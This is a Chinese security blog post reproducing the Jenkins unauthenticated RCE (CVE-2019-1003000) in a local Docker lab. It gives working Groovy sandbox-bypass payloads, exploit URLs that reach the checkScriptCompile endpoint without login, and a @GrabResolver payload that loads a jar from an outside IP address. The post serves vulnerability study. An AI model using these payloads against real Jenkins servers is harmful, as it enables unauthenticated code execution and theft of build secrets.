Jenkins未授权访问RCE漏洞复现记录

0x00 环境

A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50. Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements. Both the pipeline validation REST APIs and actual script/pipeline execution are affected. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins master or node. All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts.

1
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

把run.sh里面改成受影响的版本~

1
docker run --rm -d -p 8080:8080 -p 50000:50000 --name vuln-jenkins -v $(pwd)/jenkinsdata:/var/jenkins_home jenkins/jenkins:2.137-alpine

2个漏洞:

  • 未授权访问漏洞:访问/securityRealm路由。
  • Grooy使用Meta-Programming执行命令,并且绕过Sandbox。

0x01 攻击过程

为了测试payload的可行性,登陆admin、admin,访问localhost:8080/script,也可在Groovy原生环境运行:

1
2
3
4
5
6
7
8
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")
})
def x
''');

print "uname -a".execute().text

Github上提供了拥有Pipeline执行脚本权限的情况下,绕过Sandbox的POC:

1
2
3
4
5
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }

print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()

未登录状态下,访问如下URL测试未授权访问:

1
http://localhost:8080/securityRealm/user/admin/search/index?q=a

实际攻击:

1
http://localhost:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@groovy.transform.ASTTest(value={%20assert%20java.lang.Runtime.getRuntime().exec(%22touch%20pwned%22)%20})%0a%20def%20x

会收到unable to resolve class org.jenkinsci.plugins.workflow.libs.Library\n错误~. 最后攻击成功的POC:

1
http://localhost:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)@GrabResolver(name=%27angelwhu%27,%20root=%27http://39.106.143.48:8080/%27)@Grab(group=%27java%27,%20module=%27jenkins_poc%27,%20version=%273%27)import%20com.angelwhu.JenkinsPOC

最终调试出来的Payload,可以在Groovy原生环境运行,这是这个漏洞最值得好好学习的地方:

1
2
3
4
5
6
7
8
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='angelwhu', root='http://39.106.143.48:8080/')
@Grab(group='java', module='jenkins_poc', version='3')

import com.angelwhu.JenkinsPOC

''')

  • 打包成Jar的时候注意

如果文件夹一起打包,会带上文件夹名称,会报“unable to resolve class”的错误,因此打包成jar的时候,注意one by one打包。打包完成后,使用JD-GUI逆向看下对不对~

1
jar cvf jenkins_poc-3.jar com/angelwhu/JenkinsPOC.class META-INF/services/org.codehaus.groovy.plugins.Runners

0x02 知识总结记录

抽空再详细阅读理解下原文的漏洞挖掘思路。
ToDo~

0x03 参考链接

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/
https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2019/02/22/jenkins-does-not-authorize-access-to-rce-vulnerability-recurrence-records/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog